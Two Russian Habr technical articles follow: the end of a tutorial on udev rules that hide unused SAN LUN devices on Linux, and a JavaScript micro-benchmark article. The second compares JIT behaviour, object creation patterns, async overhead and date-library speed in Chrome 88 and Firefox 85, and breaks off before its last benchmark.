Запрашивать информацию по каждому устройству нет необходимости, т.к. вывод «lsscsi» содержит дублирующие записи. Это пути до определённого LUN через разные устройства (например 1 порт FC на хосте и 3 Порт на хранилище), а так как это одно и тоже хранилище, то требуемые нам параметры будут у всех одинаковыми.
Краткий итог:
1. DRIVER==«sd» — имя драйвера, который идентифицирует данное устройство. Почему именно «sd», а не драйвер FC «mptfc» — потому, как именно драйвер «sd» занимается определением дискового устройства, полученного с адаптеров SCSI/FC.
2. SYSFS{vendor}==«XXX » — производитель хранилища. Если обратите внимание, то его имя не просто «XXX», а ещё и некоторое количество пробелов. Именно по этой причине вывод lsscsi не так информативен и в случае использования только «XXX» правило попросту не сработает.
3. SYSFS{model}==«YYYYY » — наименование модели. Та же причина, что и в пункте выше.
4. ID==«5:0:0:20» — идентификатор в формате H:B:T:L. Его тоже нужно запомнить, т.к. оно потребуется нам далее.
5. BUS==«scsi» — тип шины. Нам потребуется для более точной идентификации устройства
Итак, теперь мы обладаем всей необходимой информацией для того, чтобы написать правило.
#### Шаг третий, контора пишет!
Теперь переходим непосредственно к написанию правила. Нам понадобится документация по udev.
Привожу конечное правило и описание опций:
`# If not a block device (ex. tape) ignore this rule
SUBSYSTEM!="block", GOTO="go_ignore_end"
# Phisical device section
BUS=="scsi", DRIVER=="sd", SYSFS{vendor}=="XXX ", SYSFS{model}=="YYYYY ", ID=="*:*:*:20", GOTO="go_ignore_end"
BUS=="scsi", DRIVER=="sd", SYSFS{vendor}=="XXX ", SYSFS{model}=="YYYYY ", ID=="*:*:*:21", GOTO="go_ignore_end"
BUS=="scsi", DRIVER=="sd", SYSFS{vendor}=="XXX ", SYSFS{model}=="YYYYY ", OPTIONS+="ignore_device,last_rule"
LABEL="go_ignore_end"`
А теперь объяснения что к чему:
`SUBSYSTEM!="block", GOTO="go_ignore_end"`
Данная опция указывает udev, что в случае если подсистема работает с любым неблочным устройством, то данное правило не применять.
`BUS=="scsi", DRIVER=="sd", SYSFS{vendor}=="XXX ", SYSFS{model}=="YYYYY ", ID=="*:*:*:20", GOTO="go_ignore_end"
BUS=="scsi", DRIVER=="sd", SYSFS{vendor}=="XXX ", SYSFS{model}=="YYYYY ", ID=="*:*:*:21", GOTO="go_ignore_end"`
Это самая важная часть, собственно, ради этой части и писалась данная статья. В правиле задано поведение: если через шину BUS==«scsi» попадает устройство и оно использует драйвер DRIVER==«sd», так же имеем производителя SYSFS{vendor}==«XXX » и наименование модели SYSFS{model}==«YYYYY » и LUN данного устройства соответствует ID=="\*:\*:\*:20", то данное устройство должно проследовать всем остальным правилам и создать спец. устройство в каталоге /dev.
Запись ID=="\*:\*:\*:20" — это запись в формате H:B:T:L, которая описывает только LUN идентификатор, остальные поля могут быть любыми. Это позволяет нам пропустить все устройства с хранилища, которые имеют заданный LUN. Если нужно расширить список LUN'ов, то просто добавляются записи и в последнее поле записывается нужный нам идентификатор. Главное, чтобы они размещались перед следующим правилом.
`BUS=="scsi", DRIVER=="sd", SYSFS{vendor}=="XXX ", SYSFS{model}=="YYYYY ", OPTIONS+="ignore_device,last_rule"`
Данное правило применяет те же условия, что и предыдущее, только OPTIONS+=«ignore\_device,last\_rule» говорит udev, что нужно проигнорировать все дальнейшие действия с данным устройством. Т.е. все устройства, кроме заданных будут проигнорированы.
`LABEL="go_ignore_end"`
Данное правило является простой меткой конца файла. Оно должно быть последним в списке.
#### Шаг четвертый, последняя битва
Теперь нам осталось только сохранить данное правило и задействовать его.
Сохраняем данное правило в папке /etc/udev/rules.d в правильном формате. Я использовал имя «52-ignore-unused-devices.rules». После этого необходимо проделать ещё кое-что. Если драйвер адаптера находится в рамдиске, то его надо удалить оттуда и загружать только после того, как запустится подсистема udev, в противном случае данное правило не сработает, т.к. устройства будут созданы ещё до начала работы udev.
Для этого необходимо внести правки в файл /etc/sysconfig/kernel:
1. Удалить в переменной INITRD\_MODULES="...." драйвер FC устройства.
2. Добавить его в переменную MODULES\_LOADED\_ON\_BOOT="..."
3. Перегенерировать рамдиск командой mkinitrd.
Теперь можно перезагрузить сервер и убедиться, что созданы только те устройства, которые нам нужны. Остальные, хотя и видны в системе, но не заданы спец. файлами, а следовательно пользователь не сможет сделать с ними ничего. Выглядеть это будет так:
`# lssci
SCSI ID TYPE VENDOR MODEL REV. device
[5:0:0:10] disk XXX YYYYY 0619 -
[5:0:0:20] disk XXX YYYYY 0619 /dev/sds
[5:0:0:21] disk XXX YYYYY 0619 /dev/sdu
......
[5:0:1:10] disk XXX YYYYY 0619 -
[5:0:1:20] disk XXX YYYYY 0619 /dev/sdao
[5:0:1:21] disk XXX YYYYY 0619 /dev/sdar`
В итоге наша задача была решена элегантно и красиво. Так же это позволит ускорить загрузку, особенно если у вас используется встроенный механизм multipath.
Надеюсь, это окажется полезным хотя бы для одного человека.
Материалы, которые сильно помогли
* <http://reactivated.net/writing_udev_rules.html>
* Существующие udev правила | https://habr.com/ru/post/112453/ | null | ru | null |
# JavaScript нанобенчмарки и преждевременные тормоза
Здравствуйте, меня зовут Дмитрий Карловский и раньше я… ежедневно измерял [свою пипирку](https://habr.com/ru/users/nin-jin/), но у распространённых линеек никак не хватало точности для измерения столь малых размеров.
Поэтому я решил, что хватит это терпеть!… и выстругал свою с нанометровыми делениями, поддержкой прохладного и разгорячённого измерения, тестами, шарингом и прочими вольностями. Так что приглашаю и вас присоединиться к этой спец олимпиаде по измерению скорости своего JS кода.
Для начала разберём этот кейс:
[](https://tinyurl.com/y9dgcz4c)
Наследственный кейс
===================
Тут у нас 3 варианта исполнения:
* **мономорфный** — это когда одной и той же функции на вход каждый раз передаются одни и те же типы аргументов. JIT создаёт оптимизированный код, в начале которого идёт лишь проверка, что тип передан тот же.
* **полиморфный** — это когда одной и той же функции на вход передаются разные типы аргументов, но их вариативность незначительна (до 4 в Chrome 88, и до 7 в Firefox 85). Тут JIT создаёт несколько версий оптимизированного кода и переключается между ними в зависимости от типов аргументов.
* **мегаморфный** — это когда одной и той же функции на вход передаются разные типы аргументов с большой вариативностью. JIT в этом случае сдаётся и выпиливает свои бесполезные оптимизации напрочь.
JIT за свои оптимизации берётся не сразу, а только после некоторого числа запусков одной и той же функции. Поэтому если ваш код исполняется лишь единожды, то ни на какие оптимизации вы можете не рассчитывать. Но если он исполняется много раз, то такой код может быть довольно быстрым. Если, конечно, вы не сломаете оптимизации, например, мегаморфностью.
Так что при измерении скорости кода важно знать и время прохладного запуска (голубая пипирка), и время разгорячённого (оранжевая пипирка), чтобы хорошо понимать на какую скорость вы можете рассчитывать в зависимости от частоты его использования.
Мегаморфность может появиться у вас совершенно случайно. Например, вы создали класс с 10 полями и геттером, их суммирующим:
```
class Base {
p0 = 0
p1 = 1
p2 = 2
p3 = 3
p4 = 4
p5 = 5
p6 = 6
p7 = 7
p8 = 8
p9 = 9
get s() {
return (
+ this.p0
+ this.p1
+ this.p2
+ this.p3
+ this.p4
+ this.p5
+ this.p6
+ this.p7
+ this.p8
+ this.p9
)
}
}
```
Теперь добавим пяток наследников:
```
const Derived = [
class extends Base { n0 = 0 },
class extends Base { n1 = 1 },
class extends Base { n2 = 2 },
class extends Base { n3 = 3 },
class extends Base { n4 = 4 },
]
```
И создадим 3 массива с разной степенью вариативности типов элементов:
```
const mono = Array.from( {length}, ()=> new Derived[0] )
const poly = Array.from( {length}, (_,i)=> new Derived[i%4] )
const mega = Array.from( {length}, (_,i)=> new Derived[i%5] )
```
При прогоне редьюсера по первому массиву, у нас всё хорошо — JIT оптимизировал его по самое неболуйся, заинлайнив всё, что возможно. При прогоне по второму массиву из-за полиморфности производительность как прохладного, так и разгорячённого кода падает в 2 раза. А на третьем массиве все оптимизации теряются и разгорячённый код исполняется почти с той же скоростью, что и прохладный.
Отдельно стоит разобрать повторный запуск редьюсера на первом массиве — его максимальная производительность немного просела. Дело тут в том, что не смотря на то, что хоть сам код редьюсера и мономорфный, суммирующий геттер остаётся мегаморфным, ведь он уже запускался на экземплярах разных классов и JIT выпилил его оптимизацию.
И единственный способ это побороть — это создавать по отдельной функции для каждого наследника. Тогда каждый из них будет мономорфным и JIT будет оптимизировать их независимо. Это даст высокую производительность после прогрева, но ценой огромного потребления памяти.
На всякий случай, уточню, что при создании множества замыканий одним и тем же кодом, нативная функция будет создана только одна. А в каждое замыкание движок помещает лишь ссылку на эту функцию и ссылку на текущий контекст её исполнения.
Полевой кейс
============
Есть и ещё менее очевидные способы всё испортить. Например, воспользоваться инициализаторами полей класса:
```
class A {
p0 = 0
p1 = 0
p2 = 0
p3 = 0
p4 = 0
p5 = 0
p6 = 0
p7 = 0
p8 = 0
p9 = 0
}
class B {
constructor() {
this.p0 = 0
this.p1 = 0
this.p2 = 0
this.p3 = 0
this.p4 = 0
this.p5 = 0
this.p6 = 0
this.p7 = 0
this.p8 = 0
this.p9 = 0
}
}
function C() {
this.p0 = 0
this.p1 = 0
this.p2 = 0
this.p3 = 0
this.p4 = 0
this.p5 = 0
this.p6 = 0
this.p7 = 0
this.p8 = 0
this.p9 = 0
}
```
Chrome 88 выдаёт следующую картину:
[](https://perf.js.hyoo.ru/#prefix=let%20res/sources=%5B%22res%20%3D%20new%20A%22%2C%22res%20%3D%20new%20B%22%2C%22res%20%3D%20new%20C%22%5D/prefixes=%5B%22class%20A%20%7B%5Cn%20%20%20%20p0%20%3D%200%5Cn%20%20%20%20p1%20%3D%200%5Cn%20%20%20%20p2%20%3D%200%5Cn%20%20%20%20p3%20%3D%200%5Cn%20%20%20%20p4%20%3D%200%5Cn%20%20%20%20p5%20%3D%200%5Cn%20%20%20%20p6%20%3D%200%5Cn%20%20%20%20p7%20%3D%200%5Cn%20%20%20%20p8%20%3D%200%5Cn%20%20%20%20p9%20%3D%200%5Cn%7D%22%2C%22class%20B%20%7B%5Cn%20%20%20%20constructor%28%29%20%7B%5Cn%20%20%20%20%20%20%20%20this.p0%20%3D%200%5Cn%20%20%20%20%20%20%20%20this.p1%20%3D%200%5Cn%20%20%20%20%20%20%20%20this.p2%20%3D%200%5Cn%20%20%20%20%20%20%20%20this.p3%20%3D%200%5Cn%20%20%20%20%20%20%20%20this.p4%20%3D%200%5Cn%20%20%20%20%20%20%20%20this.p5%20%3D%200%5Cn%20%20%20%20%20%20%20%20this.p6%20%3D%200%5Cn%20%20%20%20%20%20%20%20this.p7%20%3D%200%5Cn%20%20%20%20%20%20%20%20this.p8%20%3D%200%5Cn%20%20%20%20%20%20%20%20this.p9%20%3D%200%5Cn%20%20%20%20%7D%5Cn%7D%22%2C%22function%20C%28%29%20%7B%5Cn%20%20%20%20this.p0%20%3D%200%5Cn%20%20%20%20this.p1%20%3D%200%5Cn%20%20%20%20this.p2%20%3D%200%5Cn%20%20%20%20this.p3%20%3D%200%5Cn%20%20%20%20this.p4%20%3D%200%5Cn%20%20%20%20this.p5%20%3D%200%5Cn%20%20%20%20this.p6%20%3D%200%5Cn%20%20%20%20this.p7%20%3D%200%5Cn%20%20%20%20this.p8%20%3D%200%5Cn%20%20%20%20this.p9%20%3D%200%5Cn%7D%22%5D)
Видимо эту фичу прикручивали в V8 противники преждевременной оптимизации, которые всё ещё ждут подходящего багрепорта, чтобы героически ускорить создание классов в 10 раз. А вот над Firefox 85 работают сторонники своевременной оптимизации:
[](https://perf.js.hyoo.ru/#prefix=let%20res/sources=%5B%22res%20%3D%20new%20A%22%2C%22res%20%3D%20new%20B%22%2C%22res%20%3D%20new%20C%22%5D/prefixes=%5B%22class%20A%20%7B%5Cn%20%20%20%20p0%20%3D%200%5Cn%20%20%20%20p1%20%3D%200%5Cn%20%20%20%20p2%20%3D%200%5Cn%20%20%20%20p3%20%3D%200%5Cn%20%20%20%20p4%20%3D%200%5Cn%20%20%20%20p5%20%3D%200%5Cn%20%20%20%20p6%20%3D%200%5Cn%20%20%20%20p7%20%3D%200%5Cn%20%20%20%20p8%20%3D%200%5Cn%20%20%20%20p9%20%3D%200%5Cn%7D%22%2C%22class%20B%20%7B%5Cn%20%20%20%20constructor%28%29%20%7B%5Cn%20%20%20%20%20%20%20%20this.p0%20%3D%200%5Cn%20%20%20%20%20%20%20%20this.p1%20%3D%200%5Cn%20%20%20%20%20%20%20%20this.p2%20%3D%200%5Cn%20%20%20%20%20%20%20%20this.p3%20%3D%200%5Cn%20%20%20%20%20%20%20%20this.p4%20%3D%200%5Cn%20%20%20%20%20%20%20%20this.p5%20%3D%200%5Cn%20%20%20%20%20%20%20%20this.p6%20%3D%200%5Cn%20%20%20%20%20%20%20%20this.p7%20%3D%200%5Cn%20%20%20%20%20%20%20%20this.p8%20%3D%200%5Cn%20%20%20%20%20%20%20%20this.p9%20%3D%200%5Cn%20%20%20%20%7D%5Cn%7D%22%2C%22function%20C%28%29%20%7B%5Cn%20%20%20%20this.p0%20%3D%200%5Cn%20%20%20%20this.p1%20%3D%200%5Cn%20%20%20%20this.p2%20%3D%200%5Cn%20%20%20%20this.p3%20%3D%200%5Cn%20%20%20%20this.p4%20%3D%200%5Cn%20%20%20%20this.p5%20%3D%200%5Cn%20%20%20%20this.p6%20%3D%200%5Cn%20%20%20%20this.p7%20%3D%200%5Cn%20%20%20%20this.p8%20%3D%200%5Cn%20%20%20%20this.p9%20%3D%200%5Cn%7D%22%5D)
С другой стороны, как видно из графиков, V8 умеет оптимизировать создание объектов сразу при прохладном старте, а вот Firefox дожидается разгорячённого, но делает это чуть-чуть получше.
Фабричный кейс
==============
И раз уж мы заговорили про создание объектов, то это тоже можно делать сильно по разному. Например, в [$mol](https://mol.hyoo.ru/) у нас стояла такая задача: необходимо при старте приложения создавать большое число объектов, при этом у каждого объекта есть несколько десятков методов, часть из которых может быть переопределена при создании. У меня получилось 3 варианта с разной производительностью..
Принимать в универсальном конструкторе словарь с переопределениями методов:
```
class Dictionary_base {
constructor( dict ) {
Object.assign( this , dict )
}
}
```
Принимать функцию инициализации вместо словаря:
```
class Initializer_base {
constructor( init ) {
if( init ) init( this )
}
}
```
Ну или попросту оставить конструктор пустым, а переопределения задавать сразу после создания объекта.
Результаты в Chrome 88 несколько противоречивы:
[](https://perf.js.hyoo.ru/#prefix=let%20res/sources=%5B%22res%20%3D%20new%20Dictionary%28%7B%5Cn%5Cttitle%3A%20%28%29%3D%3E%20'xxx'%2C%5Cn%5Ctid%3A%20%28%29%3D%3E%20%7B%23%7D%2C%5Cn%5Ctres%3A%20%28%29%3D%3E%20res%2C%5Cn%7D%29%22%2C%22res%20%3D%20new%20Initializer%28%20foo%20%3D%3E%20%7B%5Cn%5Ctfoo.title%20%3D%20%28%29%3D%3E%20'xxx'%5Cn%5Ctfoo.id%20%3D%20%28%29%3D%3E%20%7B%23%7D%2C%5Cn%5Ctfoo.res%20%3D%20%28%29%3D%3E%20res%5Cn%7D%20%29%22%2C%22var%20foo%20%3D%20new%20Empty%5Cnfoo.title%20%3D%20%28%29%3D%3E%20'xxx'%5Cnfoo.id%20%3D%20%28%29%3D%3E%20%7B%23%7D%2C%5Cnfoo.res%20%3D%20%28%29%3D%3E%20res%5Cnres%20%3D%20foo%22%5D/optimized=true/postfix/prefixes=%5B%22class%20Dictionary_base%20%7B%5Cn%5Ctconstructor%28%20dict%20%29%20%7B%5Cn%5Ct%5CtObject.assign%28%20this%20%2C%20dict%20%29%5Cn%5Ct%7D%5Cn%7D%5Cnclass%20Dictionary%20extends%20Dictionary_base%20%7B%5Cn%5Cttitle%28%29%20%7B%20return%20'title'%20%7D%5Cn%5Ctid%28%29%20%7B%20return%200%20%7D%5Cn%5Ctres%28%29%20%7B%20return%20null%20%7D%5Cn%7D%22%2C%22class%20Initializer_base%20%7B%5Cn%5Ctconstructor%28%20init%20%29%20%7B%5Cn%5Ct%5Ctif%28%20init%20%29%20init%28%20this%20%29%5Cn%5Ct%7D%5Cn%7D%5Cnclass%20Initializer%20extends%20Initializer_base%20%7B%5Cn%5Cttitle%28%29%20%7B%20return%20'title'%20%7D%5Cn%5Ctid%28%29%20%7B%20return%200%20%7D%5Cn%5Ctres%28%29%20%7B%20return%20null%20%7D%5Cn%7D%22%2C%22class%20Empty_base%20%7B%20%7D%5Cnclass%20Empty%20extends%20Empty_base%20%7B%5Cn%5Cttitle%28%29%20%7B%20return%20'title'%20%7D%5Cn%5Ctid%28%29%20%7B%20return%200%20%7D%5Cn%5Ctres%28%29%20%7B%20return%20null%20%7D%5Cn%7D%22%5D)
Словарь хуже оптимизируется, зато даже прохладный он работает довольно быстро. А вот в Firefox 85 ситуация существенно иная:
[](https://perf.js.hyoo.ru/#prefix=let%20res/sources=%5B%22res%20%3D%20new%20Dictionary%28%7B%5Cn%5Cttitle%3A%20%28%29%3D%3E%20'xxx'%2C%5Cn%5Ctid%3A%20%28%29%3D%3E%20%7B%23%7D%2C%5Cn%5Ctres%3A%20%28%29%3D%3E%20res%2C%5Cn%7D%29%22%2C%22res%20%3D%20new%20Initializer%28%20foo%20%3D%3E%20%7B%5Cn%5Ctfoo.title%20%3D%20%28%29%3D%3E%20'xxx'%5Cn%5Ctfoo.id%20%3D%20%28%29%3D%3E%20%7B%23%7D%2C%5Cn%5Ctfoo.res%20%3D%20%28%29%3D%3E%20res%5Cn%7D%20%29%22%2C%22var%20foo%20%3D%20new%20Empty%5Cnfoo.title%20%3D%20%28%29%3D%3E%20'xxx'%5Cnfoo.id%20%3D%20%28%29%3D%3E%20%7B%23%7D%2C%5Cnfoo.res%20%3D%20%28%29%3D%3E%20res%5Cnres%20%3D%20foo%22%5D/optimized=true/postfix/prefixes=%5B%22class%20Dictionary_base%20%7B%5Cn%5Ctconstructor%28%20dict%20%29%20%7B%5Cn%5Ct%5CtObject.assign%28%20this%20%2C%20dict%20%29%5Cn%5Ct%7D%5Cn%7D%5Cnclass%20Dictionary%20extends%20Dictionary_base%20%7B%5Cn%5Cttitle%28%29%20%7B%20return%20'title'%20%7D%5Cn%5Ctid%28%29%20%7B%20return%200%20%7D%5Cn%5Ctres%28%29%20%7B%20return%20null%20%7D%5Cn%7D%22%2C%22class%20Initializer_base%20%7B%5Cn%5Ctconstructor%28%20init%20%29%20%7B%5Cn%5Ct%5Ctif%28%20init%20%29%20init%28%20this%20%29%5Cn%5Ct%7D%5Cn%7D%5Cnclass%20Initializer%20extends%20Initializer_base%20%7B%5Cn%5Cttitle%28%29%20%7B%20return%20'title'%20%7D%5Cn%5Ctid%28%29%20%7B%20return%200%20%7D%5Cn%5Ctres%28%29%20%7B%20return%20null%20%7D%5Cn%7D%22%2C%22class%20Empty_base%20%7B%20%7D%5Cnclass%20Empty%20extends%20Empty_base%20%7B%5Cn%5Cttitle%28%29%20%7B%20return%20'title'%20%7D%5Cn%5Ctid%28%29%20%7B%20return%200%20%7D%5Cn%5Ctres%28%29%20%7B%20return%20null%20%7D%5Cn%7D%22%5D)
Последний вариант тут оказывается самым быстрым при любом варианте исполнения. А так как Chrome в любом варианте оказывается быстрее, чем Firefox в самом быстром, то ориентироваться лучше именно на Firefox, чтобы показывать приемлемую производительность даже в худшем для нас случае. Поэтому мы остановились на варианте c [переопределениями после создания экземпляра](https://mol.hyoo.ru/#section=view.tree/source=%24my_app%20%24mol_book2%0A%09Placeholder%20%24mol_page%0A%09%09title%20%5CHello%0A).
Солидный кейс
=============
Возможно вас смутила копипаста в некоторых примерах. Ведь её же можно заменить на цикл с добавлением свойств. Однако, при пипиркомерстве важно знать, что цикл вовсе не эквивалентен копипасте. Порой он выходит быстрее за счёт оптимизаций. А порой — драматически медленнее. Создадим, для примера, два одинаковых объекта. Первый наполним полями итеративно:
```
const chain = {}
const uid = ()=> Math.random().toString(16).slice(2)
for( let i = 0; i < 100; i++ ){
chain[ uid() ] = i
}
```
А второй создадим сразу с нужными полями. Чтобы не копипастить, воспользуемся хаком:
```
const solid = JSON.parse( JSON.stringify( chain ) )
```
Ну, и для полной картины, добавим ещё и словарик:
```
const map = new Map
for( let key in chain ) map.set( key, chain[key] )
```
В Chrome 88 мы видим просто реактивную работу цельносозданного объекта.
[](https://perf.js.hyoo.ru/#prefix=const%20chain%20%3D%20%7B%7D%0Aconst%20uid%20%3D%20%28%29%3D%3E%20Math.random%28%29.toString%2816%29.slice%282%29%0A%0Afor%28%20let%20i%20%3D%200%3B%20i%20%3C%20100%3B%20i%2B%2B%20%29%7B%0A%09chain%5B%20uid%28%29%20%5D%20%3D%20i%0A%7D%0A%0Aconst%20solid%20%3D%20JSON.parse%28%20JSON.stringify%28%20chain%20%29%20%29%0A%0Aconst%20map%20%3D%20new%20Map%0Afor%28%20let%20key%20in%20chain%20%29%20map.set%28%20key%2C%20chain%5Bkey%5D%20%29%0A%0Alet%20res/sources=%5B%22res%20%3D%20Object.keys%28%20chain%20%29%22%2C%22res%20%3D%20Object.keys%28%20solid%20%29%22%2C%22res%20%3D%20%5B%20...%20map.keys%28%29%20%5D%22%5D/postfix=%24mol_assert_equal%28%20Object.keys%28%20chain%20%29.length%2C%20100%20%29%0A%24mol_assert_equal%28%20Object.keys%28%20solid%20%29.length%2C%20100%20%29%0A%24mol_assert_equal%28%20map.size%2C%20100%20%29%0A%0Aconst%20first%20%3D%20Object.keys%28%20chain%20%29%5B0%5D%0A%24mol_assert_equal%28%20chain%5Bfirst%5D%2C%20solid%5Bfirst%5D%2C%20map.get%28first%29%20%29)
Видимо цепочка скрытых классов, которая в этом случае не создаётся, — довольно дорогое удовольствие. А вот в Firefox 85 это не так — тут всё одинаково медленно:
[](https://perf.js.hyoo.ru/#prefix=const%20chain%20%3D%20%7B%7D%0Aconst%20uid%20%3D%20%28%29%3D%3E%20Math.random%28%29.toString%2816%29.slice%282%29%0A%0Afor%28%20let%20i%20%3D%200%3B%20i%20%3C%20100%3B%20i%2B%2B%20%29%7B%0A%09chain%5B%20uid%28%29%20%5D%20%3D%20i%0A%7D%0A%0Aconst%20solid%20%3D%20JSON.parse%28%20JSON.stringify%28%20chain%20%29%20%29%0A%0Aconst%20map%20%3D%20new%20Map%0Afor%28%20let%20key%20in%20chain%20%29%20map.set%28%20key%2C%20chain%5Bkey%5D%20%29%0A%0Alet%20res/sources=%5B%22res%20%3D%20Object.keys%28%20chain%20%29%22%2C%22res%20%3D%20Object.keys%28%20solid%20%29%22%2C%22res%20%3D%20%5B%20...%20map.keys%28%29%20%5D%22%5D/postfix=%24mol_assert_equal%28%20Object.keys%28%20chain%20%29.length%2C%20100%20%29%0A%24mol_assert_equal%28%20Object.keys%28%20solid%20%29.length%2C%20100%20%29%0A%24mol_assert_equal%28%20map.size%2C%20100%20%29%0A%0Aconst%20first%20%3D%20Object.keys%28%20chain%20%29%5B0%5D%0A%24mol_assert_equal%28%20chain%5Bfirst%5D%2C%20solid%5Bfirst%5D%2C%20map.get%28first%29%20%29)
Асинхронный кейс
================
Наконец, давайте замерим, насколько асинхронный код медленнее синхронного, на примере рекурсивной версии функции Фибоначчи:
```
function fib_sync(n) {
if( n < 2 ) return 1
return fib_sync( n - 1 ) + fib_sync( n - 2 )
}
function* fib_gen(n) {
if( n < 2 ) return 1
return ( yield* fib_gen( n - 1 ) ) + ( yield* fib_gen( n - 2 ) )
}
async function fib_async(n) {
if( n < 2 ) return 1
return ( await fib_async( n - 1 ) ) + ( await fib_async( n - 2 ) )
}
```
В Chrome 88 выглядит это примерно так:
[](https://perf.js.hyoo.ru/#prefix=let%20res/sources=%5B%22res%20%3D%20fib_sync%285%29%22%2C%22res%20%3D%20fib_gen%285%29.next%28%29.value%22%2C%22res%20%3D%20fib_async%285%29%5Cn%22%5D/postfix/prefixes=%5B%22function%20fib_sync%28n%29%20%7B%5Cn%5Ctif%28%20n%20%3C%202%20%29%20return%201%5Cn%5Ctreturn%20fib_sync%28%20n%20-%201%20%29%20%2B%20fib_sync%28%20n%20-%202%20%29%5Cn%7D%22%2C%22function*%20fib_gen%28n%29%20%7B%5Cn%5Ctif%28%20n%20%3C%202%20%29%20return%201%5Cn%5Ctreturn%20%28%20yield*%20fib_gen%28%20n%20-%201%20%29%20%29%20%2B%20%28%20yield*%20fib_gen%28%20n%20-%202%20%29%20%29%5Cn%7D%22%2C%22async%20function%20fib_async%28n%29%20%7B%5Cn%5Ctif%28%20n%20%3C%202%20%29%20return%201%5Cn%5Ctreturn%20%28%20await%20fib_async%28%20n%20-%201%20%29%20%29%20%2B%20%28%20await%20fib_async%28%20n%20-%202%20%29%20%29%5Cn%7D%5Cn%22%5D)
Да, так любимый всеми асинхронный код — это крайне медленно. И пусть вас не обольщают относительно хорошие показатели разгорячённого асинхронного варианта, ибо моя пипиркомерка замеряет лишь синхронную часть асинхронного вызова. Но большая часть работы идёт асинхронно, уже после того, как замер завершён. Firefox 85 же вообще после замера подвисает на десятки минут и выедает всю память.
Натуральный кейс
================
Ну да ладно, всё это была неэкологичная синтетика. Давайте погоняем что-то натуральное. Например, библиотеки для работы с датами и временем. Возьмём наиболее популярные из них:
* [$mol\_time](https://mol.hyoo.ru/#section=articles/search/author=nin-jin/repo=HabHub/article=28)
* [Moment.js](https://momentjs.com/)
* [Luxon](https://moment.github.io/luxon/)
* [Day.js](https://day.js.org/)
* [js-joda](https://js-joda.github.io/js-joda/)
* [date-fns](https://date-fns.org/)
И поехали измерять. Начнём с базовой задачи — парсинг строки в формате ISO8601:
[](https://perf.js.hyoo.ru/#prefix=const%20iso%20%3D%20'2015-07-20T07%3A48%3A28.338Z'%0A%0Alet%20res/sources=%5B%22res%20%3D%20new%20Date%28%20iso%20%29%22%2C%22res%20%3D%20new%20%24mol_time_moment%28%20iso%20%29%22%2C%22res%20%3D%20moment%28%20iso%20%29%22%2C%22res%20%3D%20luxon.DateTime.fromISO%28%20iso%20%29%22%2C%22res%20%3D%20dayjs%28%20iso%20%29%22%2C%22res%20%3D%20JSJoda.ZonedDateTime.parse%28iso%29%22%2C%22res%20%3D%20dateFns.parse%28%20iso%20%29%22%5D/postfix/prefixes=%5Bnull%2C%22%24mol_import.script%28%5Cn%5Ct'https%3A%2F%2Funpkg.com%2Fmol_time_all%401.1.12%2Fweb.js'%5Cn%29%22%2C%22%24mol_import.script%28%5Cn%5Ct'https%3A%2F%2Fcdnjs.cloudflare.com%2Fajax%2Flibs%2Fmoment.js%2F2.26.0%2Fmoment.min.js'%5Cn%29%22%2C%22%24mol_import.script%28%5Cn%5Ct'https%3A%2F%2Funpkg.com%2Fluxon%401.24.1%2Fbuild%2Fglobal%2Fluxon.min.js'%5Cn%29%22%2C%22%24mol_import.script%28%5Cn%5Ct'https%3A%2F%2Funpkg.com%2Fdayjs%401.8.21%2Fdayjs.min.js'%5Cn%29%22%2C%22%24mol_import.script%28%5Cn%5Ct'https%3A%2F%2Fcdn.jsdelivr.net%2Fnpm%2F%40js-joda%2Fcore%401.11.0%2Fdist%2Fjs-joda.js'%5Cn%29%22%2C%22%24mol_import.script%28%5Cn%5Ct'https%3A%2F%2Fcdnjs.cloudflare.com%2Fajax%2Flibs%2Fdate-fns%2F1.30.1%2Fdate_fns.min.js'%5Cn%29%22%5D)
Логично, что нативное API быстрее всех, потом идёт dayjs, который является обёрткой над нативным API, и мой велосипед, который уже не является обёрткой и парсит самостоятельно. Потом dateFns, который хоть и возвращает нативный Date, но парсит его зачем-то самостоятельно и, как видим, довольно медленно. Ну и в конце все остальные лузеры.
Штош, замерим и обратную операцию — сериализацию в ISO8601:
[](https://perf.js.hyoo.ru/#prefix=const%20iso%20%3D%20'2015-07-20T07%3A48%3A28.338Z'%0A%0Alet%20res/sources=%5B%22res%20%3D%20iDate.toISOString%28%29%22%2C%22res%20%3D%20iMol.toString%28%29%22%2C%22res%20%3D%20iMoment.toISOString%28%29%22%2C%22res%20%3D%20iLuxon.toUTC%28%29.toISO%28%29%22%2C%22res%20%3D%20iDayJS.toISOString%28%29%22%2C%22res%20%3D%20iJSJoda.toString%28%29%22%5D/postfix=%24mol_assert_equal%28%0A%09res.replace%28%20%2FZ%24%2F%2C%20'%2B00%3A00'%20%29%2C%0A%09'2015-07-20T07%3A48%3A28.338%2B00%3A00'%2C%0A%29/prefixes=%5B%22const%20iDate%20%3D%20new%20Date%28%20iso%20%29%22%2C%22%24mol_import.script%28%5Cn%5Ct'https%3A%2F%2Funpkg.com%2Fmol_time_all%401.1.10%2Fweb.js'%5Cn%29%5Cnconst%20iMol%20%3D%20new%20%24mol_time_moment%28%20iso%20%29%22%2C%22%24mol_import.script%28%5Cn%5Ct'https%3A%2F%2Fcdnjs.cloudflare.com%2Fajax%2Flibs%2Fmoment.js%2F2.26.0%2Fmoment.min.js'%5Cn%29%5Cnconst%20iMoment%20%3D%20moment%28%20iso%20%29%22%2C%22%24mol_import.script%28%5Cn%5Ct'https%3A%2F%2Funpkg.com%2Fluxon%401.24.1%2Fbuild%2Fglobal%2Fluxon.min.js'%5Cn%29%5Cnconst%20iLuxon%20%3D%20luxon.DateTime.fromISO%28%20iso%20%29%22%2C%22%24mol_import.script%28%5Cn%5Ct'https%3A%2F%2Funpkg.com%2Fdayjs%401.8.21%2Fdayjs.min.js'%5Cn%29%5Cnconst%20iDayJS%20%3D%20dayjs%28%20iso%20%29%22%2C%22%24mol_import.script%28%5Cn%5Ct'https%3A%2F%2Fcdn.jsdelivr.net%2Fnpm%2F%40js-joda%2Fcore%401.11.0%2Fdist%2Fjs-joda.js'%5Cn%29%5Cnconst%20iJSJoda%20%3D%20JSJoda.ZonedDateTime.parse%28%20iso%20%29%22%5D)
Примечательно, что сериализатор JSJoda оказался тут сильно быстрее всех. А вот `dateFns` тут нет, так как она работает с экземплярами нативного Date, а его мы померили самым первым.
Для пользователя, однако, обычно используется не ISO8601 представление, а более удобное для человека. Так что замерим и кастомное форматирование:
